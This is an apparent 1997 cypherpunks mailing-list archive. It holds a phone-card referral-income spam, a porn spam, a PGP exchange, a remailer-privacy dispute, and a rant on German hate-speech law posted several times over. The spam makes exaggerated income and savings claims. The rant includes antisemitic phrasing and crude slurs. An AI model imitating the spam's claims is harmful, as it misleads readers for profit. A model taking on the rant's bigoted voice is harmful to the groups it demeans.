$10.00 Long Distance Phone Card! Message-ID: <> Dear Friend, How would you like to receive absolutely..... FREE! free! FREE! free! FREE! free! FREE! ..a FREE $10.00 Long Distance Phone Card!!! FREE! free! FREE! free! FREE! free! FREE! Plus FREE Information On How You Can Create THOUSANDS Of DOLLARS IN MONTHLY INCOME...GIVING THESE $10.00 FREE PHONE CARDS AWAY!!! -------------------------------------------------------- PLUS...Save On Every Long Distance Call! 9.9 Cents Per Minute long distance flat rate... Save on every long distance call at only 9.9 cents per minute!!! (24 hours a day & 7 days a week!) Long distance rates 9.9 cents per minute! AT&T, MCI and Sprint can't touch this! -------------------------------------------------------- 800/888 Telephone Number For Your Home! Same Low Rate! Avoid calling home collect! Perfect for kids in college or or even use it to check messages. Your cost for this is the same, 9.9 cents per minute! At&t charges a $10.00 monthly service fee for this feature. -------------------------------------------------------- Easy To Understand Billing! No more confusing discount plans, minimum usage requirements, day/night plans, mileage add-ons, circle plans, etc. You always get the same great flat rates! And you dial direct just as you do now with MCI, Sprint, Or AT&T. -------------------------------------------------------- No-Surcharge Calling Card! Compare, save up to 90%! (vs. MCI, Sprint, AT&T) Pick your own card number and PIN number for convenience. -------------------------------------------------------- Why Not Check Us Out? One more thing...Don't confuse this with phone 'clubs' who charge a monthly fee ($10-$50) for the 'rights' to get a discount. Remember, you don't have to join anything to receive these great communication services. Such as long distance service, paging and calling cards! -------------------------------------------------------- Make $100.00 Cash Immediately-And Create Thousands Of Dollars In Monthly Income! Just spread the good news! Referring friends is no different than what you already do everyday of your life. How many times have referred your friends to a favorite restaurant or a store? Have these businesses ever sent you a check? NO! WE DO!! Just for telling people how to SAVE and MAKE MONEY!! -------------------------------------------------------- We Do It All For You! Just hand out brochures or Free Calling Cards and earn thousands every month. When prospects call us to inquire, our trained professionals will take care of the rest. -------------------------------------------------------- Why Everyone Loves Us! *No enrollment cost! *Our products sell themselves! *No inventory! *No investment required! *This is not a fad! *You don't have to 'sell"! *Perfect for fund raising! *FREE PAGERS! (Print This Order Form and Cut Here at ~~~~ Line) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dear Wayne, Please send me a $10.00 FREE Long Distance phone card. I would also like to receive FREE information about the 9.9 cents per minute long distance flat rate (24 hours a day & 7 days a week). Also send me FREE information about Prepaid Calling Cards and Smart Cards with enhanced features (such as voice/fax mail, pager notification, conference calling and much more). Also send me info on how I can make THOUSANDS a month giving away FREE $10.00 Calling Cards!! Mail to: CarProInc Dept. LD 2121 Golden Centre Lane #40--9 Gold River, CA 95670 USA ***Due to the high response, include a SELF ADDRESSED STAMPED ENVELOPE to ensure delivery of YOUR FREE LONG DISTANCE PHONE CARD and additional FREE INFORMATION. Thank You. Name____________________________________________ Address_________________________________________ City______________________State_______Zip_______ Country_________________________________________ E-Mail Address__________________________________ 07DEC97 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (Print This Order Form and Cut Here at ~~~~ Line) From 12733239 at mci2000.com Sun Dec 7 22:45:03 1997 From: 12733239 at mci2000.com (12733239 at mci2000.com) Date: Sun, 7 Dec 1997 22:45:03 -0800 (PST) Subject: FREE!! $10.00 Long Distance Phone Card! Message-ID: <> Dear Friend, How would you like to receive absolutely..... FREE! free! FREE! free! FREE! free! FREE! ..a FREE $10.00 Long Distance Phone Card!!! FREE! free! FREE! free! FREE! free! FREE! Plus FREE Information On How You Can Create THOUSANDS Of DOLLARS IN MONTHLY INCOME...GIVING THESE $10.00 FREE PHONE CARDS AWAY!!! -------------------------------------------------------- PLUS...Save On Every Long Distance Call! 9.9 Cents Per Minute long distance flat rate... Save on every long distance call at only 9.9 cents per minute!!! (24 hours a day & 7 days a week!) Long distance rates 9.9 cents per minute! AT&T, MCI and Sprint can't touch this! -------------------------------------------------------- 800/888 Telephone Number For Your Home! Same Low Rate! Avoid calling home collect! Perfect for kids in college or or even use it to check messages. Your cost for this is the same, 9.9 cents per minute! At&t charges a $10.00 monthly service fee for this feature. -------------------------------------------------------- Easy To Understand Billing! No more confusing discount plans, minimum usage requirements, day/night plans, mileage add-ons, circle plans, etc. You always get the same great flat rates! And you dial direct just as you do now with MCI, Sprint, Or AT&T. -------------------------------------------------------- No-Surcharge Calling Card! Compare, save up to 90%! (vs. MCI, Sprint, AT&T) Pick your own card number and PIN number for convenience. -------------------------------------------------------- Why Not Check Us Out? One more thing...Don't confuse this with phone 'clubs' who charge a monthly fee ($10-$50) for the 'rights' to get a discount. Remember, you don't have to join anything to receive these great communication services. Such as long distance service, paging and calling cards! -------------------------------------------------------- Make $100.00 Cash Immediately-And Create Thousands Of Dollars In Monthly Income! Just spread the good news! Referring friends is no different than what you already do everyday of your life. How many times have referred your friends to a favorite restaurant or a store? Have these businesses ever sent you a check? NO! WE DO!! Just for telling people how to SAVE and MAKE MONEY!! -------------------------------------------------------- We Do It All For You! Just hand out brochures or Free Calling Cards and earn thousands every month. When prospects call us to inquire, our trained professionals will take care of the rest. -------------------------------------------------------- Why Everyone Loves Us! *No enrollment cost! *Our products sell themselves! *No inventory! *No investment required! *This is not a fad! *You don't have to 'sell"! *Perfect for fund raising! *FREE PAGERS! (Print This Order Form and Cut Here at ~~~~ Line) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dear Wayne, Please send me a $10.00 FREE Long Distance phone card. I would also like to receive FREE information about the 9.9 cents per minute long distance flat rate (24 hours a day & 7 days a week). Also send me FREE information about Prepaid Calling Cards and Smart Cards with enhanced features (such as voice/fax mail, pager notification, conference calling and much more). Also send me info on how I can make THOUSANDS a month giving away FREE $10.00 Calling Cards!! Mail to: CarProInc Dept. LD 2121 Golden Centre Lane #40--9 Gold River, CA 95670 USA ***Due to the high response, include a SELF ADDRESSED STAMPED ENVELOPE to ensure delivery of YOUR FREE LONG DISTANCE PHONE CARD and additional FREE INFORMATION. Thank You. Name____________________________________________ Address_________________________________________ City______________________State_______Zip_______ Country_________________________________________ E-Mail Address__________________________________ 07DEC97 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (Print This Order Form and Cut Here at ~~~~ Line) From kent at songbird.com Sun Dec 7 06:52:09 1997 From: kent at songbird.com (Kent Crispin) Date: Sun, 7 Dec 1997 22:52:09 +0800 Subject: Problems with PGP Finland site? In-Reply-To: Message-ID: <19971207063900.25926@songbird.com> On Sat, Dec 06, 1997 at 11:26:17AM -0700, Tim May wrote: > Never mind. Sorry. > > It looks like http://www.pgpi.com/ is still open for business, so paranoia ^^^^^^^^^^^ > is unwarranted. ^^^^^^^^^^^^^^ > Though I wonder for how long Network Associates will continue to publish > source code books and encourage their wide distribution around the world? > > Or how long source code will be available at all. > > Or how long the freeware version will be available. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ The underlined parts are a contradiction, amusingly enough. A freeware version will always be available. It just might not come from NA. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From nobody at REPLAY.COM Sun Dec 7 07:29:01 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sun, 7 Dec 1997 23:29:01 +0800 Subject: Another of Gary Burnore's Lies Exposed In-Reply-To: <8a79c36c23626791ed29d293cab5cfa8@anonymous.poster> Message-ID: <199712071513.QAA19077@basement.replay.com> gburnore at netcom.com (Gary L. Burnore) wrote: > X-No-Archive: yes > You're still posting lies. You say I'm anti-remailer and anti-anonymous yet > YOU are the one with the apparent agenda. YOU are the one who continues the > lies. YOU are the one who hasn't posted proof of your alligations. YOU are > the one who's actions give remailers a bad name. > > Post your demands and your motives. What's in it for you? I've done it several times, but you seem to be stuck in transmit-only mode. My "demand" is that you explain YOUR motives for your written demands to Jeff Burchell that he violate the privacy of ALL of the users of his remailer by turning over his logs to you and Belinda Bryan , listing the name and address of EVERYONE who either SENT or RECEIVED anonymous e-mail from the Huge Cajones Remailer. If you don't like hearing that, then you'd better stop asking the same question over and over. It quite obviously took you by surprise that Jeff chose to reveal to all of his users just what you and Belinda had attempted. Did you not want remailer users to know what you'd tried to do? Contrary to your accusations, not all of Jeff's post was "speculation". The attempt by staff members of DataBasix to circumvent the security of the Huge Cajones remailer and violate the privacy of its users was a very FACTUAL statement which you have neither denied nor explained. No one has to take my word for it. Anyone who cares to can read if for himself: http://calvo.teleco.ulpgc.es/listas/cypherpunks-unedited at toad.com/HTML-1997-11/msg00536.html [Although Gary Burnore has chosen to have his side of that thread removed from the archives (for reasons known only to him), Jeff's comments can still be found using DejaNews and searching their "old" archives]: http://search.dejanews.com/dnquery.xp?QRY=%7Ea+toxic at wired.com&svcclass=dnold&defaultOp=AND&maxhits=20&ST=QS&format=terse&site=dn My demands? To keep the remailers open and usable. Of the two of us, I'm the only one who is actually using them (or at least admitting to it). You're the one with the least to lose if more get shut down due to harassment of the type you, Belinda, and William J. McClatchie subjected Jeff Burchell to. OTOH, if they get shut down, I'd lose my ability to post anonymously and challenge the assertions and false accusations of people like you. Your pitiful attempt at logic makes no sense. You've been invited, on several occasions, to start your own remailer if you REALLY think they're valuable, and you claim to have so much insight into how they "ought to be" run. You still have not done so. As for "giving remailers a bad name", perhaps most users would rather they be usable, full-featured, reliable, secure, and uncensored than that they have a "good name" with censorious people like you, DataBasix, Janet Reno, and the Church of Scientology. When have dissidents ever desired a "good name"? When has being popular ever been more valuable than being free? --- From tm at dev.null Sun Dec 7 08:20:25 1997 From: tm at dev.null (TruthMonger) Date: Mon, 8 Dec 1997 00:20:25 +0800 Subject: It's Sunday... In-Reply-To: <8cffbee92e0dc04390f8a269534a5dd2@squirrel> Message-ID: <348AC732.4DCB@dev.null> [It's early Sunday morning I'm having my first beer of the day I've got a couple of hours to kill before the ball games begin Chances of this email being at all meaningful are mighty slim I'm sending it to everyone in my address book, nonetheless I guess it's my way of touching base once a year in order to let my friends know there is still a risk of my showing up on their doorstep unannounced, and to remind my enemies that they should quit procrastinating and get the scope on their sniper rifle fixed And all without saying "Fuck Christmas" Damn! I just said it...] Secret Squirrel cracked open his left nut, and out came the following Colonel of wisdom: > >Mr. Frissell asserts that Germany lacks rights such as freedom > >of speech and association. > >This is not true. > >The German Basic Law provides for everyone the right to freedom of speech, > >religion and association. > >However, Germany prohibits hate speech i.e. National Socialism and > >incitement to racial, religious and national hatred. > >The reason for this exception is the German history. > And thus there is no true freedom of speech and such in Germany. I can > either say "Fuck the Jews" or I can't. I can either say "Bill Gates can blow > me" or I can't. I can either post naked pictures of myself or I can't. (And > yes, this means that there is no true freedom of speech and such in the > United States either.) > > Nice try. After spending what might be considered an inordinate amount of time seeking an ISP which will allow me to put a picture on my web site of Bill Gates blowing me and fucking a Jew while I am naked, I consider myself somewhat of an unofficial expert on freedom of speech. To badly paraphrase Harry Browne, "You have a right to say whatever your mom and dad don't slap you silly (and send you to bed without your supper) for saying." INFANTILE JOKE ALERT!!! Little Johnny and little Billy come to the breakfast table. Mom says, "Little Johnny, what do you want for breakfast?" Little Johnny says, "I want a fucking bowl of cornflakes!" Mom slaps little Johnny silly and sends him to his room without breakfast. She then asks, "Little Billy, what do _you_ want for breakfast?", giving him a stern warning look. Little Billy thinks for a second, and says, "Well, mom. You can bet your sweet, fucking ass that I don't want a bowl of cornflakes!" Hesse says, "We make our gods and do battle with them, and they bless us." I say that the same applies to our devils and their curses. There is a reason why bartenders say, "Name your poison." Some of us want to live in a "free" country where 'evil' things like pornography and hate speech are outlawed. (Overlooking the fact that we are guilty of disguised nakedness and also guilty of hating hate speech.) Some of us want to live in a "free" country where we are allowed to carry guns to defend ourselves against those who would oppress us. (Overlooking the fact that CypherPunks are living proof that this invariably results in one shooting oneself in the foot, since "We have met the enemy, and he is us!") Some of us want to live in a "free" country where pornography is outlawed, but freely available (so we can still get a vicarious thrill from it); where hate speech is prohibited, but Micro$haft jokes are required (by law); where guns are freely available, but they all shoot 'both' ways (meaning you have to really, really want someone dead before you shoot them). MYTH EXPOSURE WARNING!!! "Recidivism" is the natural impulse of us all, not just the officially recognized criminals amoung us. I broke out of prison, once. In order to assure that 'they' could not recapture me, I built a concrete fortress with high walls, and I put armed guards in towers at the corners. I put locked, barred doors on all the rooms, so that myself and my guests are safe. I hired armed guards to patrol my fortress in order to maintain the order and discipline needed to ensure eveyone's safety. I never leave the comfort and safety of my fortress. Hence I am now assured that they will never take me back to prison. Never... Well, it looks like I was right about this being a pretty lame, meaningless missive. I think I'll spend the rest of the day putting up "God's Canadian Hate Speech Page" at: http://www3.sk.sympatico.ca/carljohn/godhate/godhate.htm After all, it's Sunday. Toto/TruthMonger/C.J.Parker/sog/sonofgomez/Anonymous "And A Multiple Schizoid Personality Fracture To Be Named Later" p.s. - CORRECTION: The following should be followed by the following: "or vice-versa" [I guess it's my way of touching base once a year in order to let my friends know there is still a risk of my showing up on their doorstep unannounced, and to remind my enemies that they should quit procrastinating and get the scope on their sniper rifle fixed] p.p.s. - Since I can only Blind CC: so many people at a time, and I am too fucking lazy to edit out the original Reply To: recipients, this will result in a number of duplicate spams going to those addresses. At the risk of sounding like a hypocrite who will use things she does not believe in to serve his own self-interest, I would like to remind the whiners out there that it would be a bad idea to complain to or seek retribution on me this close to the yearly visit of a certain Jolly Old Bearded Fat Man. (hint: not me--the old fart who prefers 'nice' girls, not 'naughty' ones) From tm at dev.null Sun Dec 7 08:20:54 1997 From: tm at dev.null (TruthMonger) Date: Mon, 8 Dec 1997 00:20:54 +0800 Subject: It's Sunday... In-Reply-To: <8cffbee92e0dc04390f8a269534a5dd2@squirrel> Message-ID: <348AC2BC.56B5@dev.null> [It's early Sunday morning I'm having my first beer of the day I've got a couple of hours to kill before the ball games begin Chances of this email being at all meaningful are mighty slim I'm sending it to everyone in my address book, nonetheless I guess it's my way of touching base once a year in order to let my friends know there is still a risk of my showing up on their doorstep unannounced, and to remind my enemies that they should quit procrastinating and get the scope on their sniper rifle fixed And all without saying "Fuck Christmas" Damn! I just said it...] Secret Squirrel cracked open his left nut, and out came the following Colonel of wisdom: > >Mr. Frissell asserts that Germany lacks rights such as freedom > >of speech and association. > >This is not true. > >The German Basic Law provides for everyone the right to freedom of speech, > >religion and association. > >However, Germany prohibits hate speech i.e. National Socialism and > >incitement to racial, religious and national hatred. > >The reason for this exception is the German history. > And thus there is no true freedom of speech and such in Germany. I can > either say "Fuck the Jews" or I can't. I can either say "Bill Gates can blow > me" or I can't. I can either post naked pictures of myself or I can't. (And > yes, this means that there is no true freedom of speech and such in the > United States either.) > > Nice try. After spending what might be considered an inordinate amount of time seeking an ISP which will allow me to put a picture on my web site of Bill Gates blowing me and fucking a Jew while I am naked, I consider myself somewhat of an unofficial expert on freedom of speech. To badly paraphrase Harry Browne, "You have a right to say whatever your mom and dad don't slap you silly (and send you to bed without your supper) for saying." INFANTILE JOKE ALERT!!! Little Johnny and little Billy come to the breakfast table. Mom says, "Little Johnny, what do you want for breakfast?" Little Johnny says, "I want a fucking bowl of cornflakes!" Mom slaps little Johnny silly and sends him to his room without breakfast. She then asks, "Little Billy, what do _you_ want for breakfast?", giving him a stern warning look. Little Billy thinks for a second, and says, "Well, mom. You can bet your sweet, fucking ass that I don't want a bowl of cornflakes!" Hesse says, "We make our gods and do battle with them, and they bless us." I say that the same applies to our devils and their curses. There is a reason why bartenders say, "Name your poison." Some of us want to live in a "free" country where 'evil' things like pornography and hate speech are outlawed. (Overlooking the fact that we are guilty of disguised nakedness and also guilty of hating hate speech.) Some of us want to live in a "free" country where we are allowed to carry guns to defend ourselves against those who would oppress us. (Overlooking the fact that CypherPunks are living proof that this invariably results in one shooting oneself in the foot, since "We have met the enemy, and he is us!") Some of us want to live in a "free" country where pornography is outlawed, but freely available (so we can still get a vicarious thrill from it); where hate speech is prohibited, but Micro$haft jokes are required (by law); where guns are freely available, but they all shoot 'both' ways (meaning you have to really, really want someone dead before you shoot them). MYTH EXPOSURE WARNING!!! "Recidivism" is the natural impulse of us all, not just the officially recognized criminals amoung us. I broke out of prison, once. In order to assure that 'they' could not recapture me, I built a concrete fortress with high walls, and I put armed guards in towers at the corners. I put locked, barred doors on all the rooms, so that myself and my guests are safe. I hired armed guards to patrol my fortress in order to maintain the order and discipline needed to ensure eveyone's safety. I never leave the comfort and safety of my fortress. Hence I am now assured that they will never take me back to prison. Never... Well, it looks like I was right about this being a pretty lame, meaningless missive. I think I'll spend the rest of the day putting up "God's Canadian Hate Speech Page" at: http://www3.sk.sympatico.ca/carljohn/godhate/godhate.htm After all, it's Sunday. Toto/TruthMonger/C.J.Parker/sog/sonofgomez/Anonymous "And A Multiple Schizoid Personality Fracture To Be Named Later" p.s. - CORRECTION: The following should be followed by the following: "or vice-versa" [I guess it's my way of touching base once a year in order to let my friends know there is still a risk of my showing up on their doorstep unannounced, and to remind my enemies that they should quit procrastinating and get the scope on their sniper rifle fixed] p.p.s. - Since I can only Blind CC: so many people at a time, and I am too fucking lazy to edit out the original Reply To: recipients, this will result in a number of duplicate spams going to those addresses. At the risk of sounding like a hypocrite who will use things she does not believe in to serve his own self-interest, I would like to remind the whiners out there that it would be a bad idea to complain to or seek retribution on me this close to the yearly visit of a certain Jolly Old Bearded Fat Man. (hint: not me--the old fart who prefers 'nice' girls, not 'naughty' ones) From tm at dev.null Sun Dec 7 08:20:57 1997 From: tm at dev.null (TruthMonger) Date: Mon, 8 Dec 1997 00:20:57 +0800 Subject: It's Sunday... In-Reply-To: <8cffbee92e0dc04390f8a269534a5dd2@squirrel> Message-ID: <348AC634.698E@dev.null> [It's early Sunday morning I'm having my first beer of the day I've got a couple of hours to kill before the ball games begin Chances of this email being at all meaningful are mighty slim I'm sending it to everyone in my address book, nonetheless I guess it's my way of touching base once a year in order to let my friends know there is still a risk of my showing up on their doorstep unannounced, and to remind my enemies that they should quit procrastinating and get the scope on their sniper rifle fixed And all without saying "Fuck Christmas" Damn! I just said it...] Secret Squirrel cracked open his left nut, and out came the following Colonel of wisdom: > >Mr. Frissell asserts that Germany lacks rights such as freedom > >of speech and association. > >This is not true. > >The German Basic Law provides for everyone the right to freedom of speech, > >religion and association. > >However, Germany prohibits hate speech i.e. National Socialism and > >incitement to racial, religious and national hatred. > >The reason for this exception is the German history. > And thus there is no true freedom of speech and such in Germany. I can > either say "Fuck the Jews" or I can't. I can either say "Bill Gates can blow > me" or I can't. I can either post naked pictures of myself or I can't. (And > yes, this means that there is no true freedom of speech and such in the > United States either.) > > Nice try. After spending what might be considered an inordinate amount of time seeking an ISP which will allow me to put a picture on my web site of Bill Gates blowing me and fucking a Jew while I am naked, I consider myself somewhat of an unofficial expert on freedom of speech. To badly paraphrase Harry Browne, "You have a right to say whatever your mom and dad don't slap you silly (and send you to bed without your supper) for saying." INFANTILE JOKE ALERT!!! Little Johnny and little Billy come to the breakfast table. Mom says, "Little Johnny, what do you want for breakfast?" Little Johnny says, "I want a fucking bowl of cornflakes!" Mom slaps little Johnny silly and sends him to his room without breakfast. She then asks, "Little Billy, what do _you_ want for breakfast?", giving him a stern warning look. Little Billy thinks for a second, and says, "Well, mom. You can bet your sweet, fucking ass that I don't want a bowl of cornflakes!" Hesse says, "We make our gods and do battle with them, and they bless us." I say that the same applies to our devils and their curses. There is a reason why bartenders say, "Name your poison." Some of us want to live in a "free" country where 'evil' things like pornography and hate speech are outlawed. (Overlooking the fact that we are guilty of disguised nakedness and also guilty of hating hate speech.) Some of us want to live in a "free" country where we are allowed to carry guns to defend ourselves against those who would oppress us. (Overlooking the fact that CypherPunks are living proof that this invariably results in one shooting oneself in the foot, since "We have met the enemy, and he is us!") Some of us want to live in a "free" country where pornography is outlawed, but freely available (so we can still get a vicarious thrill from it); where hate speech is prohibited, but Micro$haft jokes are required (by law); where guns are freely available, but they all shoot 'both' ways (meaning you have to really, really want someone dead before you shoot them). MYTH EXPOSURE WARNING!!! "Recidivism" is the natural impulse of us all, not just the officially recognized criminals amoung us. I broke out of prison, once. In order to assure that 'they' could not recapture me, I built a concrete fortress with high walls, and I put armed guards in towers at the corners. I put locked, barred doors on all the rooms, so that myself and my guests are safe. I hired armed guards to patrol my fortress in order to maintain the order and discipline needed to ensure eveyone's safety. I never leave the comfort and safety of my fortress. Hence I am now assured that they will never take me back to prison. Never... Well, it looks like I was right about this being a pretty lame, meaningless missive. I think I'll spend the rest of the day putting up "God's Canadian Hate Speech Page" at: http://www3.sk.sympatico.ca/carljohn/godhate/godhate.htm After all, it's Sunday. Toto/TruthMonger/C.J.Parker/sog/sonofgomez/Anonymous "And A Multiple Schizoid Personality Fracture To Be Named Later" p.s. - CORRECTION: The following should be followed by the following: "or vice-versa" [I guess it's my way of touching base once a year in order to let my friends know there is still a risk of my showing up on their doorstep unannounced, and to remind my enemies that they should quit procrastinating and get the scope on their sniper rifle fixed] p.p.s. - Since I can only Blind CC: so many people at a time, and I am too fucking lazy to edit out the original Reply To: recipients, this will result in a number of duplicate spams going to those addresses. At the risk of sounding like a hypocrite who will use things she does not believe in to serve his own self-interest, I would like to remind the whiners out there that it would be a bad idea to complain to or seek retribution on me this close to the yearly visit of a certain Jolly Old Bearded Fat Man. (hint: not me--the old fart who prefers 'nice' girls, not 'naughty' ones) From rah at shipwright.com Sun Dec 7 09:29:15 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 8 Dec 1997 01:29:15 +0800 Subject: Superdistribution development/release In-Reply-To: Message-ID: At 5:51 pm -0500 on 12/6/97, Rabid Wombat wrote: > Don't under-estimate Bob; he can factor large primes in his head instantly. Nah. I don't have the attention span. :-). Can't even do arithmatic in my head very well. Linear algebra before LINPACK, or even spreadsheets, -- much less graphing calculators -- was hell... Cheers, Bob ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From Scoop at www.kornet.nm.kr Mon Dec 8 02:43:40 1997 From: Scoop at www.kornet.nm.kr (Scoop at www.kornet.nm.kr) Date: Mon, 8 Dec 1997 02:43:40 -0800 (PST) Subject: Pamela Anderson : EXCLUSIVE ! Message-ID: <83100301925.AB42044@pressx222.com>


PAMELA ANDERSON & TOMMY LEE HAVING SEX !!!
Sexuality explicit video & screenshots !
This is NOT simulated sex
This is NOT Playboy "best of" video
This is REAL deal, raw and uncensored !
Go to http://151.196.201.51/pamela.html

IF YOU WANT YOUR NAME REMOVED FROM THIS LIST, reply to :
removelist at mlweb.com








From tm at dev.null  Sun Dec  7 11:01:06 1997
From: tm at dev.null (TruthMonger)
Date: Mon, 8 Dec 1997 03:01:06 +0800
Subject: It's Sunday
In-Reply-To: <8cffbee92e0dc04390f8a269534a5dd2@squirrel>
Message-ID: <348AC569.5793@dev.null>



[It's early Sunday morning I'm having my first beer of the day 
 I've got a couple of hours to kill before the ball games begin
 Chances of this email being at all meaningful are mighty slim
 I'm sending it to everyone in my address book, nonetheless
 I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed And all without saying "Fuck Christmas" 
 Damn! I just said it...]
 

Secret Squirrel cracked open his left nut, and out came
the following Colonel of wisdom:

> >Mr. Frissell asserts that Germany lacks rights such as freedom 
> >of speech and association.
> >This is not true.
> >The German Basic Law provides for everyone the right to freedom of speech,
> >religion and association.
> >However, Germany prohibits hate speech i.e. National Socialism and
> >incitement to racial, religious and national hatred.
> >The reason for this exception is the German history.
 
> And thus there is no true freedom of speech and such in Germany. I can
> either say "Fuck the Jews" or I can't. I can either say "Bill Gates can blow
> me" or I can't. I can either post naked pictures of myself or I can't. (And
> yes, this means that there is no true freedom of speech and such in the
> United States either.)
> 
> Nice try.

  After spending what might be considered an inordinate amount of
time seeking an ISP which will allow me to put a picture on my web 
site of Bill Gates blowing me and fucking a Jew while I am naked,
I consider myself somewhat of an unofficial expert on freedom of
speech.
  To badly paraphrase Harry Browne, "You have a right to say 
whatever your mom and dad don't slap you silly (and send you to
bed without your supper) for saying."

INFANTILE JOKE ALERT!!!
  Little Johnny and little Billy come to the breakfast table.
  Mom says, "Little Johnny, what do you want for breakfast?"
  Little Johnny says, "I want a fucking bowl of cornflakes!"
  Mom slaps little Johnny silly and sends him to his room 
without breakfast. She then asks, "Little Billy, what do
_you_ want for breakfast?", giving him a stern warning look.
  Little Billy thinks for a second, and says, "Well, mom. You
can bet your sweet, fucking ass that I don't want a bowl of
cornflakes!"

  Hesse says, "We make our gods and do battle with them, and they
bless us." I say that the same applies to our devils and their
curses. 
  There is a reason why bartenders say, "Name your poison."

  Some of us want to live in a "free" country where 'evil' things
like pornography and hate speech are outlawed. (Overlooking the
fact that we are guilty of disguised nakedness and also guilty
of hating hate speech.)
  Some of us want to live in a "free" country where we are allowed
to carry guns to defend ourselves against those who would oppress
us. (Overlooking the fact that CypherPunks are living proof that
this invariably results in one shooting oneself in the foot, since
"We have met the enemy, and he is us!")
  Some of us want to live in a "free" country where pornography is
outlawed, but freely available (so we can still get a vicarious 
thrill from it); where hate speech is prohibited, but Micro$haft
jokes are required (by law); where guns are freely available, but
they all shoot 'both' ways (meaning you have to really, really
want someone dead before you shoot them).

MYTH EXPOSURE WARNING!!!
  "Recidivism" is the natural impulse of us all, not just the
officially recognized criminals amoung us.
  I broke out of prison, once. In order to assure that 'they' could
not recapture me, I built a concrete fortress with high walls, and
I put armed guards in towers at the corners. I put locked, barred
doors on all the rooms, so that myself and my guests are safe. I
hired armed guards to patrol my fortress in order to maintain the
order and discipline needed to ensure eveyone's safety. I never
leave the comfort and safety of my fortress.
  Hence I am now assured that they will never take me back to prison.
Never...

  Well, it looks like I was right about this being a pretty lame,
meaningless missive.
  I think I'll spend the rest of the day putting up "God's Canadian
Hate Speech Page" at: 
http://www3.sk.sympatico.ca/carljohn/godhate/godhate.htm
  After all, it's Sunday.

Toto/TruthMonger/C.J.Parker/sog/sonofgomez/Anonymous
"And A Multiple Schizoid Personality Fracture To Be Named Later"

p.s. -
CORRECTION: 
The following should be followed by the following: "or vice-versa"
[I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed]

p.p.s. - Since I can only Blind CC: so many people at a time, and I
  am too fucking lazy to edit out the original Reply To: recipients,
  this will result in a number of duplicate spams going to those
  addresses.
  At the risk of sounding like a hypocrite who will use things she
  does not believe in to serve his own self-interest, I would like
  to remind the whiners out there that it would be a bad idea to
  complain to or seek retribution on me this close to the yearly
  visit of a certain Jolly Old Bearded Fat Man. (hint: not me--the
  old fart who prefers 'nice' girls, not 'naughty' ones)







From tm at dev.null  Sun Dec  7 11:06:59 1997
From: tm at dev.null (TruthMonger)
Date: Mon, 8 Dec 1997 03:06:59 +0800
Subject: It's Sunday...
In-Reply-To: <8cffbee92e0dc04390f8a269534a5dd2@squirrel>
Message-ID: <348AC435.6184@dev.null>



[It's early Sunday morning I'm having my first beer of the day 
 I've got a couple of hours to kill before the ball games begin
 Chances of this email being at all meaningful are mighty slim
 I'm sending it to everyone in my address book, nonetheless
 I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed And all without saying "Fuck Christmas" 
 Damn! I just said it...]
 

Secret Squirrel cracked open his left nut, and out came
the following Colonel of wisdom:

> >Mr. Frissell asserts that Germany lacks rights such as freedom 
> >of speech and association.
> >This is not true.
> >The German Basic Law provides for everyone the right to freedom of speech,
> >religion and association.
> >However, Germany prohibits hate speech i.e. National Socialism and
> >incitement to racial, religious and national hatred.
> >The reason for this exception is the German history.
 
> And thus there is no true freedom of speech and such in Germany. I can
> either say "Fuck the Jews" or I can't. I can either say "Bill Gates can blow
> me" or I can't. I can either post naked pictures of myself or I can't. (And
> yes, this means that there is no true freedom of speech and such in the
> United States either.)
> 
> Nice try.

  After spending what might be considered an inordinate amount of
time seeking an ISP which will allow me to put a picture on my web 
site of Bill Gates blowing me and fucking a Jew while I am naked,
I consider myself somewhat of an unofficial expert on freedom of
speech.
  To badly paraphrase Harry Browne, "You have a right to say 
whatever your mom and dad don't slap you silly (and send you to
bed without your supper) for saying."

INFANTILE JOKE ALERT!!!
  Little Johnny and little Billy come to the breakfast table.
  Mom says, "Little Johnny, what do you want for breakfast?"
  Little Johnny says, "I want a fucking bowl of cornflakes!"
  Mom slaps little Johnny silly and sends him to his room 
without breakfast. She then asks, "Little Billy, what do
_you_ want for breakfast?", giving him a stern warning look.
  Little Billy thinks for a second, and says, "Well, mom. You
can bet your sweet, fucking ass that I don't want a bowl of
cornflakes!"

  Hesse says, "We make our gods and do battle with them, and they
bless us." I say that the same applies to our devils and their
curses. 
  There is a reason why bartenders say, "Name your poison."

  Some of us want to live in a "free" country where 'evil' things
like pornography and hate speech are outlawed. (Overlooking the
fact that we are guilty of disguised nakedness and also guilty
of hating hate speech.)
  Some of us want to live in a "free" country where we are allowed
to carry guns to defend ourselves against those who would oppress
us. (Overlooking the fact that CypherPunks are living proof that
this invariably results in one shooting oneself in the foot, since
"We have met the enemy, and he is us!")
  Some of us want to live in a "free" country where pornography is
outlawed, but freely available (so we can still get a vicarious 
thrill from it); where hate speech is prohibited, but Micro$haft
jokes are required (by law); where guns are freely available, but
they all shoot 'both' ways (meaning you have to really, really
want someone dead before you shoot them).

